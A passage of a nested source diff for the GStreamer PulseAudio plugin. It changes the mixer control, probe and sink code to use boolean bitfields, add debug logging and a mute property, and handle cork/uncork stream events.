+               PA_SUBSCRIPTION_MASK_SINK | PA_SUBSCRIPTION_MASK_SOURCE,
+@@ -258,10 +265,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
+     goto unlock_and_fail;
+   }
+ 
+-  c->operation_success = 0;
++  c->operation_success = FALSE;
+   while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
+-    pa_threaded_mainloop_wait (c->mainloop);
+     CHECK_DEAD_GOTO (c, unlock_and_fail);
++    pa_threaded_mainloop_wait (c->mainloop);
+   }
+ 
+   if (!c->operation_success) {
+@@ -275,6 +282,7 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
+   /* Get sink info */
+ 
+   if (c->type == GST_PULSEMIXER_UNKNOWN || c->type == GST_PULSEMIXER_SINK) {
++    GST_WARNING_OBJECT (c->object, "Get info for '%s'", c->device);
+     if (!(o =
+             pa_context_get_sink_info_by_name (c->context, c->device,
+                 gst_pulsemixer_ctrl_sink_info_cb, c))) {
+@@ -283,10 +291,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
+       goto unlock_and_fail;
+     }
+ 
+-    c->operation_success = 0;
++    c->operation_success = FALSE;
+     while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
+-      pa_threaded_mainloop_wait (c->mainloop);
+       CHECK_DEAD_GOTO (c, unlock_and_fail);
++      pa_threaded_mainloop_wait (c->mainloop);
+     }
+ 
+     pa_operation_unref (o);
+@@ -309,10 +317,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
+       goto unlock_and_fail;
+     }
+ 
+-    c->operation_success = 0;
++    c->operation_success = FALSE;
+     while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
+-      pa_threaded_mainloop_wait (c->mainloop);
+       CHECK_DEAD_GOTO (c, unlock_and_fail);
++      pa_threaded_mainloop_wait (c->mainloop);
+     }
+ 
+     pa_operation_unref (o);
+@@ -353,6 +361,8 @@ gst_pulsemixer_ctrl_close (GstPulseMixerCtrl * c)
+ {
+   g_assert (c);
+ 
++  GST_DEBUG_OBJECT (c->object, "ctrl close");
++
+   if (c->mainloop)
+     pa_threaded_mainloop_stop (c->mainloop);
+ 
+@@ -386,6 +396,7 @@ gst_pulsemixer_ctrl_new (GObject * object, const gchar * server,
+ {
+   GstPulseMixerCtrl *c = NULL;
+ 
++  GST_DEBUG_OBJECT (object, "new mixer ctrl for %s", device);
+   c = g_new (GstPulseMixerCtrl, 1);
+   c->object = g_object_ref (object);
+   c->tracklist = NULL;
+@@ -398,7 +409,7 @@ gst_pulsemixer_ctrl_new (GObject * object, const gchar * server,
+ 
+   pa_cvolume_mute (&c->volume, PA_CHANNELS_MAX);
+   pa_channel_map_init (&c->channel_map);
+-  c->muted = 0;
++  c->muted = FALSE;
+   c->index = PA_INVALID_INDEX;
+   c->type = type;
+   c->name = NULL;
+@@ -464,10 +475,10 @@ gst_pulsemixer_ctrl_timeout_event (pa_mainloop_api * a, pa_time_event * e,
+ 
+   if (c->update_mute) {
+     if (c->type == GST_PULSEMIXER_SINK)
+-      o = pa_context_set_sink_mute_by_index (c->context, c->index, !!c->muted,
++      o = pa_context_set_sink_mute_by_index (c->context, c->index, c->muted,
+           NULL, NULL);
+     else
+-      o = pa_context_set_source_mute_by_index (c->context, c->index, !!c->muted,
++      o = pa_context_set_source_mute_by_index (c->context, c->index, c->muted,
+           NULL, NULL);
+ 
+     if (!o)
+@@ -570,7 +581,7 @@ gst_pulsemixer_ctrl_set_mute (GstPulseMixerCtrl * c, GstMixerTrack * track,
+ 
+   pa_threaded_mainloop_lock (c->mainloop);
+ 
+-  c->muted = !!mute;
++  c->muted = mute;
+   c->update_mute = TRUE;
+ 
+   if (c->track) {
+diff --git a/ext/pulse/pulsemixerctrl.h b/ext/pulse/pulsemixerctrl.h
+index 0dbc139..e6b67ad 100644
+--- a/ext/pulse/pulsemixerctrl.h
++++ b/ext/pulse/pulsemixerctrl.h
+@@ -1,3 +1,5 @@
++/*-*- Mode: C; c-basic-offset: 2 -*-*/
++
+ /*
+  *  GStreamer pulseaudio plugin
+  *
+@@ -53,11 +55,17 @@ struct _GstPulseMixerCtrl
+ 
+   gchar *name, *description;
+   pa_channel_map channel_map;
++
+   pa_cvolume volume;
+-  int muted;
++  gboolean muted:1;
++
++  gboolean update_volume:1;
++  gboolean update_mute:1;
++
++  gboolean operation_success:1;
++
+   guint32 index;
+   GstPulseMixerType type;
+-  int operation_success;
+ 
+   GstMixerTrack *track;
+ 
+@@ -66,7 +74,6 @@ struct _GstPulseMixerCtrl
+   int outstandig_queries;
+   int ignore_queries;
+ 
+-  gboolean update_volume, update_mute;
+ };
+ 
+ GstPulseMixerCtrl *gst_pulsemixer_ctrl_new (GObject *object, const gchar * server,
+diff --git a/ext/pulse/pulseprobe.c b/ext/pulse/pulseprobe.c
+index 588a9c3..6ebbfb2 100644
+--- a/ext/pulse/pulseprobe.c
++++ b/ext/pulse/pulseprobe.c
+@@ -1,3 +1,5 @@
++/*-*- Mode: C; c-basic-offset: 2 -*-*/
++
+ /*
+  *  GStreamer pulseaudio plugin
+  *
+@@ -99,15 +101,21 @@ static gboolean
+ gst_pulseprobe_open (GstPulseProbe * c)
+ {
+   int e;
+-  gchar *name = gst_pulse_client_name ();
++  gchar *name;
+ 
+   g_assert (c);
+ 
++  GST_DEBUG_OBJECT (c->object, "probe open");
++
+   c->mainloop = pa_threaded_mainloop_new ();
+-  g_assert (c->mainloop);
++  if (!c->mainloop)
++    return FALSE;
+ 
+   e = pa_threaded_mainloop_start (c->mainloop);
+-  g_assert (e == 0);
++  if (e < 0)
++    return FALSE;
++
++  name = gst_pulse_client_name ();
+ 
+   pa_threaded_mainloop_lock (c->mainloop);
+ 
+@@ -184,6 +192,8 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
+ {
+   pa_operation *o = NULL;
+ 
++  GST_DEBUG_OBJECT (c->object, "probe enumerate");
++
+   pa_threaded_mainloop_lock (c->mainloop);
+ 
+   if (c->enumerate_sinks) {
+@@ -197,7 +207,7 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
+       goto unlock_and_fail;
+     }
+ 
+-    c->operation_success = 0;
++    c->operation_success = FALSE;
+ 
+     while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
+ 
+@@ -228,7 +238,7 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
+       goto unlock_and_fail;
+     }
+ 
+-    c->operation_success = 0;
++    c->operation_success = FALSE;
+     while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
+ 
+       if (gst_pulseprobe_is_dead (c))
+@@ -268,6 +278,8 @@ gst_pulseprobe_close (GstPulseProbe * c)
+ {
+   g_assert (c);
+ 
++  GST_DEBUG_OBJECT (c->object, "probe close");
++
+   if (c->mainloop)
+     pa_threaded_mainloop_stop (c->mainloop);
+ 
+@@ -302,8 +314,11 @@ gst_pulseprobe_new (GObject * object, GObjectClass * klass,
+   c->prop_id = prop_id;
+   c->properties =
+       g_list_append (NULL, g_object_class_find_property (klass, "device"));
++
+   c->devices = NULL;
+-  c->devices_valid = 0;
++  c->devices_valid = FALSE;
++
++  c->operation_success = FALSE;
+ 
+   return c;
+ }
+diff --git a/ext/pulse/pulseprobe.h b/ext/pulse/pulseprobe.h
+index bd20591..28cdbb8 100644
+--- a/ext/pulse/pulseprobe.h
++++ b/ext/pulse/pulseprobe.h
+@@ -1,3 +1,5 @@
++/*-*- Mode: C; c-basic-offset: 2 -*-*/
++
+ /*
+  *  GStreamer pulseaudio plugin
+  *
+@@ -36,17 +38,20 @@ struct _GstPulseProbe
+ {
+   GObject *object;
+   gchar *server;
++
+   GList *devices;
+-  gboolean devices_valid;
++  gboolean devices_valid:1;
++
++  gboolean operation_success:1;
++
++  gboolean enumerate_sinks:1;
++  gboolean enumerate_sources:1;
+ 
+   pa_threaded_mainloop *mainloop;
+   pa_context *context;
+ 
+   GList *properties;
+   guint prop_id;
+-
+-  int enumerate_sinks, enumerate_sources;
+-  int operation_success;
+ };
+ 
+ GstPulseProbe *gst_pulseprobe_new (GObject *object, GObjectClass * klass,
 diff --git a/ext/pulse/pulsesink.c b/ext/pulse/pulsesink.c
-index dd47c33..1fe2b72 100644
+index 7ead4fe..1fe2b72 100644
 --- a/ext/pulse/pulsesink.c
 +++ b/ext/pulse/pulsesink.c
-@@ -730,6 +730,10 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
+@@ -1,3 +1,5 @@
++/*-*- Mode: C; c-basic-offset: 2 -*-*/
++
+ /*  GStreamer pulseaudio plugin
+  *
+  *  Copyright (c) 2004-2008 Lennart Poettering
+@@ -46,6 +48,8 @@
+ 
+ #include <gst/base/gstbasesink.h>
+ #include <gst/gsttaglist.h>
++#include <gst/interfaces/streamvolume.h>
++#include <gst/gst-i18n-plugin.h>
+ 
+ #include "pulsesink.h"
+ #include "pulseutil.h"
+@@ -62,6 +66,7 @@ GST_DEBUG_CATEGORY_EXTERN (pulse_debug);
+ #define DEFAULT_DEVICE          NULL
+ #define DEFAULT_DEVICE_NAME     NULL
+ #define DEFAULT_VOLUME          1.0
++#define DEFAULT_MUTE            FALSE
+ #define MAX_VOLUME              10.0
+ 
+ enum
+@@ -71,6 +76,7 @@ enum
+   PROP_DEVICE,
+   PROP_DEVICE_NAME,
+   PROP_VOLUME,
++  PROP_MUTE,
+   PROP_LAST
+ };
+ 
+@@ -105,12 +111,10 @@ struct _GstPulseRingBuffer
+   pa_stream *stream;
+ 
+   pa_sample_spec sample_spec;
+-  gint64 offset;
+ 
+-  gboolean corked;
+-  gboolean in_commit;
+-  gboolean paused;
+-  guint required;
++  gboolean corked:1;
++  gboolean in_commit:1;
++  gboolean paused:1;
+ };
+ 
+ struct _GstPulseRingBufferClass
+@@ -216,8 +220,9 @@ gst_pulseringbuffer_init (GstPulseRingBuffer * pbuf,
+   pbuf->sample_spec.channels = 0;
+ #endif
+ 
+-  pbuf->paused = FALSE;
+   pbuf->corked = TRUE;
++  pbuf->in_commit = FALSE;
++  pbuf->paused = FALSE;
+ }
+ 
+ static void
+@@ -543,6 +548,10 @@ gst_pulsering_stream_latency_cb (pa_stream * s, void *userdata)
+   pbuf = GST_PULSERING_BUFFER_CAST (userdata);
+   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
+ 
++  if (!info) {
++    GST_LOG_OBJECT (psink, "latency update (information unknown)");
++    return;
++  }
+ #if HAVE_PULSE_0_9_11
+   sink_usec = info->configured_sink_usec;
+ #else
+@@ -557,6 +566,35 @@ gst_pulsering_stream_latency_cb (pa_stream * s, void *userdata)
+       info->sink_usec, sink_usec);
+ }
+ 
++#if HAVE_PULSE_0_9_15
++static void
++gst_pulsering_stream_event_cb (pa_stream * p, const char *name,
++    pa_proplist * pl, void *userdata)
++{
++  GstPulseSink *psink;
++  GstPulseRingBuffer *pbuf;
++
++  pbuf = GST_PULSERING_BUFFER_CAST (userdata);
++  psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
++
++  if (!strcmp (name, PA_STREAM_EVENT_REQUEST_CORK)) {
++    /* the stream wants to PAUSE, post a message for the application. */
++    GST_DEBUG_OBJECT (psink, "got request for CORK");
++    gst_element_post_message (GST_ELEMENT_CAST (psink),
++        gst_message_new_request_state (GST_OBJECT_CAST (psink),
++            GST_STATE_PAUSED));
++
++  } else if (!strcmp (name, PA_STREAM_EVENT_REQUEST_UNCORK)) {
++    GST_DEBUG_OBJECT (psink, "got request for UNCORK");
++    gst_element_post_message (GST_ELEMENT_CAST (psink),
++        gst_message_new_request_state (GST_OBJECT_CAST (psink),
++            GST_STATE_PLAYING));
++  } else {
++    GST_DEBUG_OBJECT (psink, "got unknown event %s", name);
++  }
++}
++#endif
++
+ /* This method should create a new stream of the given @spec. No playback should
+  * start yet so we start in the corked state. */
+ static gboolean
+@@ -564,15 +602,14 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
+ {
+   GstPulseSink *psink;
+   GstPulseRingBuffer *pbuf;
+-  pa_buffer_attr buf_attr;
+-  const pa_buffer_attr *buf_attr_ptr;
++  pa_buffer_attr wanted;
++  const pa_buffer_attr *actual;
+   pa_channel_map channel_map;
+   pa_operation *o = NULL;
+   pa_cvolume v, *pv;
+   pa_stream_flags_t flags;
+   const gchar *name;
+   GstAudioClock *clock;
+-  gint64 time_offset;
+ 
+   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (buf));
+   pbuf = GST_PULSERING_BUFFER_CAST (buf);
+@@ -622,19 +659,23 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
+       gst_pulsering_stream_overflow_cb, pbuf);
+   pa_stream_set_latency_update_callback (pbuf->stream,
+       gst_pulsering_stream_latency_cb, pbuf);
++#if HAVE_PULSE_0_9_15
++  pa_stream_set_event_callback (pbuf->stream,
++      gst_pulsering_stream_event_cb, pbuf);
++#endif
+ 
+   /* buffering requirements. When setting prebuf to 0, the stream will not pause
+    * when we cause an underrun, which causes time to continue. */
+-  memset (&buf_attr, 0, sizeof (buf_attr));
+-  buf_attr.tlength = spec->segtotal * spec->segsize;
+-  buf_attr.maxlength = -1;
+-  buf_attr.prebuf = 0;
+-  buf_attr.minreq = -1;
++  memset (&wanted, 0, sizeof (wanted));
++  wanted.tlength = spec->segtotal * spec->segsize;
++  wanted.maxlength = -1;
++  wanted.prebuf = 0;
++  wanted.minreq = spec->segsize;
+ 
+-  GST_INFO_OBJECT (psink, "tlength:   %d", buf_attr.tlength);
+-  GST_INFO_OBJECT (psink, "maxlength: %d", buf_attr.maxlength);
+-  GST_INFO_OBJECT (psink, "prebuf:    %d", buf_attr.prebuf);
+-  GST_INFO_OBJECT (psink, "minreq:    %d", buf_attr.minreq);
++  GST_INFO_OBJECT (psink, "tlength:   %d", wanted.tlength);
++  GST_INFO_OBJECT (psink, "maxlength: %d", wanted.maxlength);
++  GST_INFO_OBJECT (psink, "prebuf:    %d", wanted.prebuf);
++  GST_INFO_OBJECT (psink, "minreq:    %d", wanted.minreq);
+ 
+   /* configure volume when we changed it, else we leave the default */
+   if (psink->volume_set) {
+@@ -653,6 +694,11 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
+ #endif
+       PA_STREAM_START_CORKED;
+ 
++#if HAVE_PULSE_0_9_12
++  if (psink->mute_set && psink->mute)
++    flags |= PA_STREAM_START_MUTED;
++#endif
++
+   /* we always start corked (see flags above) */
+   pbuf->corked = TRUE;
+ 
+@@ -660,25 +706,12 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
+   GST_LOG_OBJECT (psink, "connect for playback to device %s",
+       GST_STR_NULL (psink->device));
+   if (pa_stream_connect_playback (pbuf->stream, psink->device,
+-          &buf_attr, flags, pv, NULL) < 0)
++          &wanted, flags, pv, NULL) < 0)
+     goto connect_failed;
+ 
+   /* our clock will now start from 0 again */
+   clock = GST_AUDIO_CLOCK (GST_BASE_AUDIO_SINK (psink)->provided_clock);
+   gst_audio_clock_reset (clock, 0);
+-  time_offset = clock->abidata.ABI.time_offset;
+-
+-  GST_LOG_OBJECT (psink, "got time offset %" GST_TIME_FORMAT,
+-      GST_TIME_ARGS (time_offset));
+-
+-  /* calculate the sample offset for 0 */
+-  if (time_offset > 0)
+-    pbuf->offset = gst_util_uint64_scale_int (time_offset,
+-        pbuf->sample_spec.rate, GST_SECOND);
+-  else
+-    pbuf->offset = -gst_util_uint64_scale_int (-time_offset,
+-        pbuf->sample_spec.rate, GST_SECOND);
+-  GST_LOG_OBJECT (psink, "sample offset %" G_GINT64_FORMAT, pbuf->offset);
+ 
+   for (;;) {
+     pa_stream_state_t state;
+@@ -697,20 +730,24 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
      pa_threaded_mainloop_wait (psink->mainloop);
    }
  
@@ -31,18 +635,93 @@ index dd47c33..1fe2b72 100644
    GST_LOG_OBJECT (psink, "stream is acquired now");
  
    /* get the actual buffering properties now */
-@@ -1527,8 +1531,8 @@ gst_pulsesink_class_init (GstPulseSinkClass * klass)
+-  buf_attr_ptr = pa_stream_get_buffer_attr (pbuf->stream);
++  actual = pa_stream_get_buffer_attr (pbuf->stream);
+ 
+-  GST_INFO_OBJECT (psink, "tlength:   %d (wanted: %d)", buf_attr_ptr->tlength,
+-      buf_attr.tlength);
+-  GST_INFO_OBJECT (psink, "maxlength: %d", buf_attr_ptr->maxlength);
+-  GST_INFO_OBJECT (psink, "prebuf:    %d", buf_attr_ptr->prebuf);
+-  GST_INFO_OBJECT (psink, "minreq:    %d (wanted %d)", buf_attr_ptr->minreq,
+-      buf_attr.minreq);
++  GST_INFO_OBJECT (psink, "tlength:   %d (wanted: %d)", actual->tlength,
++      wanted.tlength);
++  GST_INFO_OBJECT (psink, "maxlength: %d", actual->maxlength);
++  GST_INFO_OBJECT (psink, "prebuf:    %d", actual->prebuf);
++  GST_INFO_OBJECT (psink, "minreq:    %d (wanted %d)", actual->minreq,
++      wanted.minreq);
+ 
+-  spec->segsize = buf_attr_ptr->minreq;
+-  spec->segtotal = buf_attr_ptr->tlength / spec->segsize;
++  spec->segsize = actual->minreq;
++  spec->segtotal = actual->tlength / spec->segsize;
+ 
+   pa_threaded_mainloop_unlock (psink->mainloop);
+ 
+@@ -1096,8 +1133,10 @@ gst_pulseringbuffer_commit (GstRingBuffer * buf, guint64 * sample,
+   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
+ 
+   /* FIXME post message rather than using a signal (as mixer interface) */
+-  if (g_atomic_int_compare_and_exchange (&psink->notify, 1, 0))
++  if (g_atomic_int_compare_and_exchange (&psink->notify, 1, 0)) {
+     g_object_notify (G_OBJECT (psink), "volume");
++    g_object_notify (G_OBJECT (psink), "mute");
++  }
+ 
+   /* make sure the ringbuffer is started */
+   if (G_UNLIKELY (g_atomic_int_get (&buf->state) !=
+@@ -1139,21 +1178,8 @@ gst_pulseringbuffer_commit (GstRingBuffer * buf, guint64 * sample,
+   if (pbuf->paused)
+     goto was_paused;
+ 
+-  /* correct for sample offset against the internal clock */
+-  offset = *sample;
+-  if (pbuf->offset >= 0) {
+-    if (offset > pbuf->offset)
+-      offset -= pbuf->offset;
+-    else
+-      offset = 0;
+-  } else {
+-    if (offset > -pbuf->offset)
+-      offset += pbuf->offset;
+-    else
+-      offset = 0;
+-  }
+   /* offset is in bytes */
+-  offset *= bps;
++  offset = *sample * bps;
+ 
+   while (*toprocess > 0) {
+     size_t avail;
+@@ -1375,6 +1401,13 @@ gst_pulsesink_init_interfaces (GType type)
+     NULL,
+     NULL,
+   };
++#if HAVE_PULSE_0_9_12
++  static const GInterfaceInfo svol_iface_info = {
++    NULL, NULL, NULL
++  };
++
++  g_type_add_interface_static (type, GST_TYPE_STREAM_VOLUME, &svol_iface_info);
++#endif
+ 
+   g_type_add_interface_static (type, GST_TYPE_IMPLEMENTS_INTERFACE,
+       &implements_iface_info);
+@@ -1498,7 +1531,12 @@ gst_pulsesink_class_init (GstPulseSinkClass * klass)
    g_object_class_install_property (gobject_class,
        PROP_VOLUME,
        g_param_spec_double ("volume", "Volume",
 -          "Volume of this stream, 1.0=100%", 0.0, MAX_VOLUME, DEFAULT_VOLUME,
--          G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
 +          "Linear volume of this stream, 1.0=100%", 0.0, MAX_VOLUME,
 +          DEFAULT_VOLUME, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
-   g_object_class_install_property (gobject_class,
-       PROP_MUTE,
-       g_param_spec_boolean ("mute", "Mute",
-@@ -1588,10 +1592,10 @@ gst_pulsesink_init (GstPulseSink * pulsesink, GstPulseSinkClass * klass)
++  g_object_class_install_property (gobject_class,
++      PROP_MUTE,
++      g_param_spec_boolean ("mute", "Mute",
++          "Mute state of this stream", DEFAULT_MUTE,
+           G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
+ #endif
+ }
+@@ -1554,9 +1592,12 @@ gst_pulsesink_init (GstPulseSink * pulsesink, GstPulseSinkClass * klass)
    pulsesink->device = NULL;
    pulsesink->device_description = NULL;
  
@@ -50,12 +729,13 @@ index dd47c33..1fe2b72 100644
 +  pulsesink->volume = DEFAULT_VOLUME;
    pulsesink->volume_set = FALSE;
  
--  pulsesink->mute = FALSE;
 +  pulsesink->mute = DEFAULT_MUTE;
-   pulsesink->mute_set = FALSE;
- 
++  pulsesink->mute_set = FALSE;
++
    pulsesink->notify = 0;
-@@ -1654,9 +1658,6 @@ gst_pulsesink_set_volume (GstPulseSink * psink, gdouble volume)
+ 
+   /* needed for conditional execution */
+@@ -1617,9 +1658,6 @@ gst_pulsesink_set_volume (GstPulseSink * psink, gdouble volume)
  
    GST_DEBUG_OBJECT (psink, "setting volume to %f", volume);
  
@@ -65,7 +745,7 @@ index dd47c33..1fe2b72 100644
    pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
    if (pbuf == NULL || pbuf->stream == NULL)
      goto no_buffer;
-@@ -1683,6 +1684,9 @@ unlock:
+@@ -1646,6 +1684,9 @@ unlock:
    /* ERRORS */
  no_buffer:
    {
@@ -75,27 +755,81 @@ index dd47c33..1fe2b72 100644
      GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
      goto unlock;
    }
-@@ -1711,9 +1715,6 @@ gst_pulsesink_set_mute (GstPulseSink * psink, gboolean mute)
- 
-   GST_DEBUG_OBJECT (psink, "setting mute state to %d", mute);
+@@ -1664,6 +1705,61 @@ volume_failed:
+ }
  
--  psink->mute = mute;
--  psink->mute_set = TRUE;
--
-   pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
-   if (pbuf == NULL || pbuf->stream == NULL)
-     goto no_buffer;
-@@ -1738,6 +1739,9 @@ unlock:
-   /* ERRORS */
- no_buffer:
-   {
+ static void
++gst_pulsesink_set_mute (GstPulseSink * psink, gboolean mute)
++{
++  pa_operation *o = NULL;
++  GstPulseRingBuffer *pbuf;
++  uint32_t idx;
++
++  pa_threaded_mainloop_lock (psink->mainloop);
++
++  GST_DEBUG_OBJECT (psink, "setting mute state to %d", mute);
++
++  pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
++  if (pbuf == NULL || pbuf->stream == NULL)
++    goto no_buffer;
++
++  if ((idx = pa_stream_get_index (pbuf->stream)) == PA_INVALID_INDEX)
++    goto no_index;
++
++  if (!(o = pa_context_set_sink_input_mute (pbuf->context, idx,
++              mute, NULL, NULL)))
++    goto mute_failed;
++
++  /* We don't really care about the result of this call */
++unlock:
++
++  if (o)
++    pa_operation_unref (o);
++
++  pa_threaded_mainloop_unlock (psink->mainloop);
++
++  return;
++
++  /* ERRORS */
++no_buffer:
++  {
 +    psink->mute = mute;
 +    psink->mute_set = TRUE;
 +
-     GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
-     goto unlock;
-   }
-@@ -1788,7 +1792,7 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
++    GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
++    goto unlock;
++  }
++no_index:
++  {
++    GST_DEBUG_OBJECT (psink, "we don't have a stream index");
++    goto unlock;
++  }
++mute_failed:
++  {
++    GST_ELEMENT_ERROR (psink, RESOURCE, FAILED,
++        ("pa_stream_set_sink_input_mute() failed: %s",
++            pa_strerror (pa_context_errno (pbuf->context))), (NULL));
++    goto unlock;
++  }
++}
++
++static void
+ gst_pulsesink_sink_input_info_cb (pa_context * c, const pa_sink_input_info * i,
+     int eol, void *userdata)
+ {
+@@ -1682,8 +1778,10 @@ gst_pulsesink_sink_input_info_cb (pa_context * c, const pa_sink_input_info * i,
+   /* If the index doesn't match our current stream,
+    * it implies we just recreated the stream (caps change)
+    */
+-  if (i->index == pa_stream_get_index (pbuf->stream))
++  if (i->index == pa_stream_get_index (pbuf->stream)) {
+     psink->volume = pa_sw_volume_to_linear (pa_cvolume_max (&i->volume));
++    psink->mute = i->mute;
++  }
+ 
+ done:
+   pa_threaded_mainloop_signal (psink->mainloop, 0);
+@@ -1694,7 +1792,7 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
  {
    GstPulseRingBuffer *pbuf;
    pa_operation *o = NULL;
@@ -104,7 +838,7 @@ index dd47c33..1fe2b72 100644
    uint32_t idx;
  
    pa_threaded_mainloop_lock (psink->mainloop);
-@@ -1810,11 +1814,12 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
+@@ -1716,11 +1814,12 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
        goto unlock;
    }
  
@@ -118,29 +852,257 @@ index dd47c33..1fe2b72 100644
    pa_threaded_mainloop_unlock (psink->mainloop);
  
    if (v > MAX_VOLUME) {
-@@ -1850,7 +1855,7 @@ gst_pulsesink_get_mute (GstPulseSink * psink)
-   GstPulseRingBuffer *pbuf;
-   pa_operation *o = NULL;
-   uint32_t idx;
--  gboolean mute;
+@@ -1749,6 +1848,63 @@ info_failed:
+     goto unlock;
+   }
+ }
++
++static gboolean
++gst_pulsesink_get_mute (GstPulseSink * psink)
++{
++  GstPulseRingBuffer *pbuf;
++  pa_operation *o = NULL;
++  uint32_t idx;
 +  gboolean mute = FALSE;
++
++  pa_threaded_mainloop_lock (psink->mainloop);
++
++  pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
++  if (pbuf == NULL || pbuf->stream == NULL)
++    goto no_buffer;
++
++  if ((idx = pa_stream_get_index (pbuf->stream)) == PA_INVALID_INDEX)
++    goto no_index;
++
++  if (!(o = pa_context_get_sink_input_info (pbuf->context, idx,
++              gst_pulsesink_sink_input_info_cb, pbuf)))
++    goto info_failed;
++
++  while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
++    pa_threaded_mainloop_wait (psink->mainloop);
++    if (gst_pulsering_is_dead (psink, pbuf))
++      goto unlock;
++  }
++
++  mute = psink->mute;
++
++unlock:
++  if (o)
++    pa_operation_unref (o);
++
++  pa_threaded_mainloop_unlock (psink->mainloop);
++
++  return mute;
++
++  /* ERRORS */
++no_buffer:
++  {
++    GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
++    goto unlock;
++  }
++no_index:
++  {
++    GST_DEBUG_OBJECT (psink, "we don't have a stream index");
++    goto unlock;
++  }
++info_failed:
++  {
++    GST_ELEMENT_ERROR (psink, RESOURCE, FAILED,
++        ("pa_context_get_sink_input_info() failed: %s",
++            pa_strerror (pa_context_errno (pbuf->context))), (NULL));
++    goto unlock;
++  }
++}
+ #endif
  
-   pa_threaded_mainloop_lock (psink->mainloop);
+ static void
+@@ -1844,6 +2000,9 @@ gst_pulsesink_set_property (GObject * object,
+     case PROP_VOLUME:
+       gst_pulsesink_set_volume (pulsesink, g_value_get_double (value));
+       break;
++    case PROP_MUTE:
++      gst_pulsesink_set_mute (pulsesink, g_value_get_boolean (value));
++      break;
+ #endif
+     default:
+       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
+@@ -1872,6 +2031,9 @@ gst_pulsesink_get_property (GObject * object,
+     case PROP_VOLUME:
+       g_value_set_double (value, gst_pulsesink_get_volume (pulsesink));
+       break;
++    case PROP_MUTE:
++      g_value_set_boolean (value, gst_pulsesink_get_mute (pulsesink));
++      break;
+ #endif
+     default:
+       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
+@@ -1927,6 +2089,10 @@ gst_pulsesink_change_props (GstPulseSink * psink, GstTagList * l)
+ {
+   static const gchar *const map[] = {
+     GST_TAG_TITLE, PA_PROP_MEDIA_TITLE,
++
++    /* might get overriden in the next iteration by GST_TAG_ARTIST */
++    GST_TAG_PERFORMER, PA_PROP_MEDIA_ARTIST,
++
+     GST_TAG_ARTIST, PA_PROP_MEDIA_ARTIST,
+     GST_TAG_LANGUAGE_CODE, PA_PROP_MEDIA_LANGUAGE,
+     GST_TAG_LOCATION, PA_PROP_MEDIA_FILENAME,
+@@ -2015,9 +2181,12 @@ gst_pulsesink_event (GstBaseSink * sink, GstEvent * event)
+       gst_tag_list_get_string (l, GST_TAG_LOCATION, &location);
+       gst_tag_list_get_string (l, GST_TAG_DESCRIPTION, &description);
  
-@@ -1871,11 +1876,12 @@ gst_pulsesink_get_mute (GstPulseSink * psink)
-       goto unlock;
++      if (!artist)
++        gst_tag_list_get_string (l, GST_TAG_PERFORMER, &artist);
++
+       if (title && artist)
+         t = buf =
+-            g_strdup_printf ("'%s' by '%s'", g_strstrip (title),
++            g_strdup_printf (_("'%s' by '%s'"), g_strstrip (title),
+             g_strstrip (artist));
+       else if (title)
+         t = g_strstrip (title);
+diff --git a/ext/pulse/pulsesink.h b/ext/pulse/pulsesink.h
+index 8db3cbd..ae0ad95 100644
+--- a/ext/pulse/pulsesink.h
++++ b/ext/pulse/pulsesink.h
+@@ -1,3 +1,5 @@
++/*-*- Mode: C; c-basic-offset: 2 -*-*/
++
+ /*
+  *  GStreamer pulseaudio plugin
+  *
+@@ -60,12 +62,16 @@ struct _GstPulseSink
+   GstPulseProbe *probe;
+ 
+   gdouble volume;
+-  gboolean volume_set;
+-  gint notify;
+-  
++  gboolean volume_set:1;
++  gboolean mute:1;
++  gboolean mute_set:1;
++
++  gboolean pa_defer_ran:1;
++
++  gint notify; /* atomic */
++
+   const gchar *pa_version;
+ 
+-  gboolean pa_defer_ran;
+ };
+ 
+ struct _GstPulseSinkClass
+diff --git a/ext/pulse/pulsesrc.c b/ext/pulse/pulsesrc.c
+index fa60345..d53acf8 100644
